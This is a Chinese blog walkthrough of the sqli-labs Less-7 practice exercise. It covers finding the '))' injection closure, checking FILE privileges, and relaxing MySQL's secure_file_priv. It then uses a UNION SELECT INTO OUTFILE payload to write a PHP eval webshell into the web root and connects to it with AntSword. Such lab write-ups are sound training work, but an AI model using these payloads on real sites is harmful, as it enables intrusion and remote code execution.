首页 > 其他分享 >第七关-Less-7

第七关-Less-7

时间:2024-02-22 16:59:44浏览次数:30  
标签:第七 Less 我们 outfile mysql echo id select

GET - Dump into outfile - String (导出文件GET字符型注入)

我们还是一样的来判断注入点:

我们输入?id=1 来查看一下:

这么我们发现回显的页面没有任何有用的信息

我们再试一下下面这结果payload:

?id=1'
?id=1"
?id=1')
?id=1'))
?id=1")
?id=1"))

经过多次尝试,我们发现了它的闭合语句

?id=1'))

这里我们就可以用布尔盲注,和时间盲注来进行注入

但是这里用不了报错注入,因为这里没有报错信息

我们分析到这里就可以知道他的注入点和可以用什么方法来进行注入,我们再查看一下它的关键源码:

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";   //发现确实是单引号的双括号闭合
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#FFFF00">';	
  	echo 'You are in.... Use outfile......';  //注入成功输入语句
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	echo 'You have an error in your SQL syntax';   //固定的报错信息
	//print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

所以这里我们可以用第五关的布尔型盲注和时间盲注,要注意的是将闭合语句换成单引号双括号

这里根据提示,我们可以使用outfile来进行文件读取注入:

我们先判断它是否具有读写权限

and (select count(*) from mysql.user)>0 ##如果结果返回正常,说明具有读写权限
and (select count(*) from mysql.user)>0 ##返回错误,应该是管理员给数据库账户降权了

这里回显正常,说明具有读写权限

所以我们这里使用into outfile函数,写文件,用法:select 'mysql is very good' into outfile 'text1.txt';或者是select 'mysql is very good' into outfile "写要保存的路径用\\"

这里我们使用联合查询 union select,来将我们的一句话木马写入

?id=1')) union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\m.php" --+

然后我们来访问我们写入的m.php

http://127.0.0.1/sqli-labs-master/Less-7/m.php

发现错误,说明我们的一句话木马并没有写进去

最后我们发现这里存在一个phpstudy文件读写的问题

我们来到这个路径下面用cmd进去

D:\phpstudy_pro\Extensions\MySQL5.7.26\bin

然后输入mysql -u root -p,进入到mysql的命令行里面

然后使用show variables like '%secure%';在命令行中查看secure-file-priy当前的值

这里我们就要再拓展一下secure_file_priv参数:

这个参数用来限制数据导入和导出操作的效果,例如执行load data、select … into outfile语句和load_file()函数。这些操作需要用户具有FILE权限

当secure_file_priv为NULL,表示对MySQL限制进行导入与导出

当secure_file_priv的值为/tmp/ ,表示限制MySQL的导入与导出只能发生在/tmp/目录下

当secure_file_priv没有指定具体值时,则不对导入与导出进行任何限制

我们看到secure_file_priv对应的是NULL,所以限制了Mysql的导入和导出,所以我们就需要打开phpstudy\MySQL\my.ini文件,在其中加上一句:secure_file_priv= (这样加上去后安全性就降低了)

最后保存,然后重启一下数据库

就变成没有具体值,就可以进行导入和导出

我们写入我们的一句话木马:

?id=1')) union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\m.php" --+

我们来文件路径下面查看一下我们是否写入了我们的一句话木马:

这里我们看到已经写入了,然后我们来访问一下我们的m.php文件

因为一句话木马是php写的,所以这里不显示

最后我们用中国蚁剑来连一下:

连接成功

成功进入后台

标签:第七,Less,我们,outfile,mysql,echo,id,select
From: https://www.cnblogs.com/xyweiwen/p/18027675

相关文章

  • 《程序是怎样跑起来的》第七章
    第七章,程序是在何种环境中运行的。7.1节,运行环境=操作系统+硬件即操作系统和硬件决定了程序的运行环境。对源代码进编译就能得到本地代码。7.2节,Windows克服了CPU以外的硬件差异,只要Windows能正常运行,同样的应用在任何机型上都可以运行。Windows操控硬件。7.3节,不同操作系统的......
  • 《程序是怎样跑起来的》第七章
    第七章主要讲述了计算机程序从源代码到最终执行的整个过程,包括编译、链接、加载和运行等关键环节。在编译过程中,编译器会对源代码进行语法和语义检查,确保代码的正确性,并将其转换成相应的机器码。这一过程既复杂又神奇,让我对计算机科学的魅力有了更深的认识。我对链接器和加载器......
  • 《程序是怎么跑起来的》第七章
    今天沃阅读了程序是怎么跑起来的,中的第七章,其中第七章分为6节,主要讲述了‘程序是在任何环境中运行的’对于这一章讲述了对于不同环境下无法实现运行问题的解决。运行环境是指应用程序所依赖的操作系统和硬件设备的组合。操作系统提供了应用程序运行所需的基本功能,例如内存管理、......
  • JavaSE的第七步 —— 开发者工具、控制语句、if单分支,if-esle双分支,if-else if-else多
    一、开发者工具工欲善其事,必先利其器。作为一个学习Java的小白,一个好的工具对我们的开发来说可以说是事半功倍。在网上看了很多大神们都推荐的使用IDEA开发工具,前30天可以免费使用。而在30天后大神提供了相应的解决方法,只要想学,办法总比困难多。加油每一个求学者。二、控制语句......
  • 《程序是怎样跑起来的》第七章:程序在何种环境中运行
    这一章深入浅出地解析了操作系统、硬件、编译器等重要元素,以及它们如何协同工作以支持程序的运行。在程序运行的大环境中,操作系统无疑扮演着关键的角色。它不仅管理着硬件资源,如CPU、内存和存储,还负责提供一种机制使得多个程序能够安全、有效地共享这些资源。通过操作系统,程序可以......
  • 软件架构模式之第七章:基于空间的架构
     第七章:基于空间的架构大多数基于web的业务应用程序遵循相同的通用请求流程:首先,web服务器接收来自web浏览器的请求;然后,应用服务器处理该请求;最后,数据库服务器提供所需数据。尽管这种类型的请求流对于少数用户非常有效,但随着用户负载增加,瓶颈开始出现。首当其冲的是web服务器,......
  • 《程序是怎样跑起来的》第七章观后感
    第七章主要讲的是程序在怎样的环境下运行,一般来说,应用程序的运行环境是指操作系统的类型以及硬件(CPU、内存等)的类型和性能指标,我们知道程序的运行环境是通过操作系统和硬件(处理器、内存等)来表示的,也就是说,操作系统和硬件决定了程序的运行环境,其次,应用程序向操作系统发出请求的......
  • 《程序是怎样跑起来的》——第七章读后感
    一:1.一般来说,应用翟序的运行环境是指操作系统的美型以及爱作(CPU、内存等)的类型和性能指标。2.应用程序是为了在特定操作系统上运行而开发的。3.PCEW#Ubuntu,RHEL(RedHatEnterpriseLinux)$Linux发行版操作系统。4.只要针对不同的环境准备专用的Java虚拟机,就可以让相......
  • 《程序是怎样跑起来的》第七章的读后感
    又到了读书分享的时候,本篇分享《程序是怎样跑起来的》第七章的读后感,程序是在何种环境中运行的。操作系统加硬件等于程序的运行环境。同一类型的硬件可以选择安装多种操作系统。。例如,同样的在兼容机一个中,既可以安装Windows,也可以安装Linux等操作系统。从程序的运行环境这一角度......
  • GaussDB(for MySQL) Serverless全面商用:无感弹性,极致性价比
    本文分享自华为云社区《GaussDB(forMySQL)Serverless全面商用:无感弹性,极致性价比》,作者:GaussDB数据库。技术背景对于现代企业级IT系统,数据库往往是作为底座一般的存在,数据库的稳定性、可靠性如果难以保障,整个系统的平稳运行将无从谈起。出于如上考量,在部署数据库资源时,客户......